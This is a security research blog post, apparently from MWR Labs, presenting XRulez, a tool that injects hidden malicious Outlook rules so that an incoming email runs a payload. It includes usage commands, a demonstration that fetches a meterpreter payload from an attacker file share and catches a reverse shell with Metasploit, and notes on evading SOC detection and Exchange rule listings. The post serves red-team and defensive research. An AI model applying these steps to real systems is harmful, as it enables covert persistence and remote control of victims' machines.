Background

The process of creating a malicious Outlook rule currently requires interactive GUI access on a compromised system or possession of credentials as well as the ability to interact directly to the exchange server from an attacker owned host. We thought it would be far more convenient and useful to be able to programmatically create such rules, from a shell or implant. This was the task given to Luke Roberts (an MWR intern) as a research project.

In December 2015, Nick Landers (https://twitter.com/monoxgas) from Silent Break Security published a blog post titled "Malicous Outlook Rules" (https://silentbreaksecurity.com/malicious-outlook-rules). In the blog post he discussed a persistence mechanism via the use of Outlook rules.

Prior research also exists that was published in 2014 http://lifehacker.com/172873/shutdown-windows-with-a-text-message and 2008 https://dmitrysotnikov.wordpress.com/2008/05/08/execute-powershell-scripts-from-your-smartphone.

These posts provide context for this research and it is advisable to read the Silent Break Security post by Nick Landers before proceeding.

Luke succeeded in creating a tool that can do this and you can download it here: https://github.com/mwrlabs/XRulez, but do please read on to learn more about the tool and the approach Luke took to this project.

Sensepost also published similar tooling on 1st September 2016 https://www.sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage. Great minds think alike! It is interesting to see how this problem was approached and solved in different ways. Their research is highly recommended reading also.

Introduction

Setting a rule in Outlook allows actions to be performed on incoming or outgoing emails, if a predetermined condition is met. For example, assigning a category to all emails from your dev team or flagging emails if they contain the keyword 'important' in the subject. Another action that can be set is running an application, which presents an interesting situation.

If we can create an Outlook rule that executes a payload, that's triggered by an email that we send, we will be able to trigger the execution of a payload on the target machine just by sending an email.

The rules are stored on the Exchange server and are designed to sync with all Outlook clients. If the target logs into a different workstation, the rules will automatically be downloaded and will execute on the new machine, facilitating lateral movement. As long as Outlook is open and authenticated on the target machine, we can piggy back on the already open and authenticated session without requiring credentials.

The PoC tool, named "XRulez", is a Windows executable that injects an incoming message rule into Exchange and allows an application to be run when the user receives an email that satisfies predetermined requirements, for example a keyword condition in the subject field.

XRulez connects to the Exchange server using an existing MAPI session (Message Application Programming Interface) provided by the Outlook client. It then creates a new message in the default receiving associated message table, which is where the rules are stored for the targets mailbox. It then populates the newly created message with property data including the rule name, condition and action parameters.

Provided that the workstation can access the payload, once the rule has synced with Exchange - we can trigger the execution on the target by sending an email that satisfies the condition.

Different conditions / actions will be added in the future. The current configuration has the following settings:

Condition: Keyword in Subject Field.

Actions: Start Application, Permanently Delete Email and Stop Processing More Rules.

If the payload application can't be accessed when the rule is triggered, a popup box is displayed alerting the user that the rule couldn't successfully complete and potentially alerting them to your activities.

How To

From a compromised system:

Upload XRulez.exe to the target.

Run XRulez.exe with '-l' to display a list of MAPI profiles installed on the system.

XRulez.exe -l

Run XRulez.exe with '-a' and the required parameters to add a new rule

XRulez.exe -a [--profile PROFILE] [--name NAME] [--trigger TRIGGER] [--payload PAYLOAD]

Send an email to the target with the previously set keyword in the subject field.

Wait for shell.

XRulez takes four required parameters when adding a new rule.

Profile Name: Outlook MAPI Profile, installed profiles can be found using '-l'. Rule Name: A rule description, e.g SPAM Filter. Rule Trigger: Keyword that will be searched for in the subject field of all incoming messages. Payload Path: Path to the application that will be executed when the condition is met.

XRulez scans %APPDATA%\Microsoft\Outlook\ for the .xml files that represent Outlook profiles. It also provides the last modified time and a suggestion for the profile to select based on the modification times. However, the .xml files are only updated when Outlook is closed. This could cause confusion if the user has just swapped accounts. Most users however will have only one default profile, called "Outlook".

After the rule has been created, XRulez can be removed from the target system and is no longer needed.

The payload application can be anything that is opened normally by ShellExec. This includes .exe, .bat, .vbs. It doesn't include .ps1 files, as by default they're opened in the default text editor.

Since MAPI is architecture dependent, different versions will be required for 32-bit / 64-bit systems. Ensure that you're using the correct version before you run XRulez.exe. If you fail to do so, a popup box will be displayed to the user stating that "MAPI can't find an Outlook client".

Limitations

Outlook must be open on the target machine. If not, there will be no session to share and therefore no connection to Exchange.

Outlook uses ShellExec to open the payload application. Which means that the payload can't be executed with arguments, requiring the payload to be an all enclosed application hosted on the disk or externally.

Demonstration

Assumptions

We've already compromised the machine and have a meterpreter shell. We're now looking for persistence.

Outlook has an authenticated session with the exchange server.

The target can access a file-share we can write to.

We can send an email to the targets exchange account.

We start by creating a standard meterpreter binary that will be used as our payload. The payload executable is hosted on an open samba file-share.

root@kali:/share# ls

payload.exe

XRulez.exe is uploaded to the target workstation and executed with the '-l' flag from a windows shell. This will display the MAPI profiles installed on the system.

C:\demo>XRulez.exe -l

__ ________ _

\ \ / /| ___ \ | |

\ * / | |_/ / _ _ | | ___ ____

/ \ | / | | | || | / _ \|_ /

/ /^\ \| |\ \ | |_| || || __/ / /

\/ \/\_| \_| \__,_||_| \___|/___|

- Exchange Rule Injector



[XRulez] Running profile lookup



Outlook, Last Accessed 32 minutes ago. (Suggested)

Now we know the profile is called 'Outlook', we can run with the '-a' flag to add a new rule. The payload location is pointed to the file-share.

C:\demo>XRulez.exe -a --profile Outlook --name ACME Corp: Spam Filter --trigger spam --payload \\192.168.28.129\share\payload.exe

__ ________ _

\ \ / /| ___ \ | |

\ * / | |_/ / _ _ | | ___ ____

/ \ | / | | | || | / _ \|_ /

/ /^\ \| |\ \ | |_| || || __/ / /

\/ \/\_| \_| \__,_||_| \___|/___|

- Exchange Rule Injector

[XRulez] Adding new rule



With Parameters:

profile = Outlook

name = ACME Corp: Spam Filter

trigger = spam

payload = \\192.168.28.129\share\payload.exe



[Info] It looks like Outlook is running, continuing...

[Info] Opened folder: 'Inbox'

[Info] A new message in the associated message table has been created

[Info] Message has been populated with properties and synced with Exchange.

A new Outlook rule has just been created. It will take a few moments for the Outlook client to sync with Exchange and download our rule.

Next, the Metasploit listener is initiated on the attacker machine.

root@kail:/# msfconsole



msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.28.129

lhost => 192.168.28.129

msf exploit(handler) > set lport 5555

lport => 5555

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.28.129:5555

[*] Starting the payload handler...



By sending the target an email with 'spam' in the subject. The payload is executed on the targets machine and we're rewarded with a meterpreter shell.

[*] Sending stage (957487 bytes) to 192.168.28.141

[*] Meterpreter session 1 opened (192.168.28.129:5555 -> 192.168.28.141:49327) at 2016-08-23 10:06:20 -0400



meterpreter >

Now, if the user authenticates with Exchange from a different Outlook client, the rule will be re-downloaded. If the payload is accessible from the new machine, it will function the same as on the first machine. When the condition is satisfied, we'll be sent back another shell.

Research Approach

As with all research, the understanding of the how and why is very important. In the following section Luke details the approach and process he took when conducting his research.

Messaging Application Programming Interface (MAPI) is a messaging architecture and a Component Object Model based API for Microsoft Windows. MAPI allows client programs to become (e-mail) messaging-enabled, -aware, or -based by calling MAPI subsystem routines that interface with certain messaging servers. While MAPI is designed to be independent of the protocol, it is usually used with MAPI/RPC, the proprietary protocol that Microsoft Outlook uses to communicate with Microsoft Exchange.

MAPI provides raw un-managed access to the folders and tables that make up a users mailbox. It is possible to do all sorts of fun stuff, like reading emails, modifying appointments and creating rules!

Step One

The first stage of my research was to understand how rules are formatted when created, stored and/or transported. If I was to create my own rules, this seemed the most logical place to start.

While attempting to identify in what format Exchange stores rules, the tool I was using "MFCMAPI" - a program sysadmins use to debug Exchange servers, stopped prompting me to enter credentials. After investigating this further, it was later I realised that this was because Outlook was running in the background. It seemed that any further MAPI connections made after Outlook had authenticated, didn't require re-authentication, allowing for an existing MAPI session to be shared.





MFCMAPI: Administration tool for Exchange servers.

My aim was to add a message to the associated contents table for the default receiving folder. The associated contents table is where data is stored that doesn't belong in the main contents table (where your emails are stored), this includes preference data, message managers and rule data.

At first I found success by importing the malicious rule entry from a .msg file. An example rule was created with the actions and conditions that should be present in the imported rule and exported using the MFCMAPI tool to a .msg file. Using the example code from the MFCMAPI to import the .msg file into the associate contents table, which created the rule on the exchange server (which would then be synced with authenticated Outlook clients), providing me with my first basic working PoC.

Step Two

Next I needed to be able to allow the field values (rule name, keyword for subject trigger and path of the application to execute) to be specified arbitrarily when the rule is imported.

When importing a .msg file, the length and length value for variable length properties is validated. This means that if field is modified, the length must be calculated and the length field updated also. Although this is possible (and probably not too difficult) for me to modify this at rule creation time from within the PoC, I instead opted to export a rule with the fields set to max length. These fields could now be overwritten up-to the max length and simply terminated with a null byte to end the string - no messing with length properties needed :)

MSG files: The template used to generate the properties needed for a rule.



At this point, I had a functional application that could add a rule with a custom name, subject trigger and application path. However, relying on an external template msg file wasn't ideal and provided another point of failure and would leave a file artifact / logs that could be later picked up by SOCs. The next step was to remove this dependency and generate the required data at run-time.

This required looking at the structure of a MAPI table entry more closely. Entries are made up of a long list of properties, the most interesting for this purpose was the PR_RULE_MSG_ACTIONS property. This property contained a binary blob that contained the data that Outlook uses to process the rule - this is what I needed to edit to change the name, trigger and app path. However, first I needed to find a different method of importing the data.

Step Three

A code snippet on MSDN shows how to create a rule that modifies the sensitivity of incoming messages with a specific class (https://blogs.msdn.microsoft.com/emeamsgdev/2012/12/04/mapi-application-create-an-inbox-rule-to-set-the-sensitivity-of-messages-with-a-specific-message-class-to-private). The snippet works by manually setting key properties and adding a new row into the rules table (an abstraction for the rules in the associated message table). Adapting this for my purpose initially seemed hopeful however upon testing I encountered problems setting the PR_PROVIDER_DATA property. Documentation describes this property as an opaque blob generated by the client, but it was also being used for validation. When the field was left blank, Outlook wouldn't read the rule or if it was set incorrectly, it would see the rule as corrupted and would delete it.

Looking back at the previous method of importing a .msg file, I was creating a blank message in the table, importing the properties from the file (including PR_PROVIDER_DATA) into an array and finally copying the properties from the array into the blank message. Instead of adding a row into the rules table, I replicated the working behavior but as an alternative to reading the properties from a file, I generated my own properties array using known valid data. Using this method, the data is accepted and Outlook will read and process the rule. Which means a template file is no longer needed and this stage can all be done in memory.

Properties: A selection of properties that are stored in the message entry in the associate contents table.



While testing the application, I found that the properties that Outlook uses to display the rule are different to the properties that Exchange uses. For example, Outlook uses the contents of the PR_RULE_MSG_ACTIONS property for the location of the rule name, however Exchange uses the property PR_RULE_MSG_NAME. If this property is set to an empty string, the rule is technically corrupted, but Outlook still processes it correctly.

As a result, neither the Outlook Web App (the web interface for interacting with Exchange services) or the Get-InboxRules commandlet in the Exchange Management Console will display that the rule exists and instead displays a generic error. This makes it harder to create a script to check whether this technique has been used - making automated discovery of the persistence rule less likely.

Outlook Web App won't display any rules created with XRulez.

I really enjoyed conducting this research and hope that this tool will be useful in augmenting an offensive tool set. Also that it proves useful to defensive teams looking to stay ahead of today's innovative adversaries.

Future Work

The PoC produced by Luke will now be converted to a reflective DLL that can be loaded into memory from an implant such as Cobalt Strike and/or Metepreter.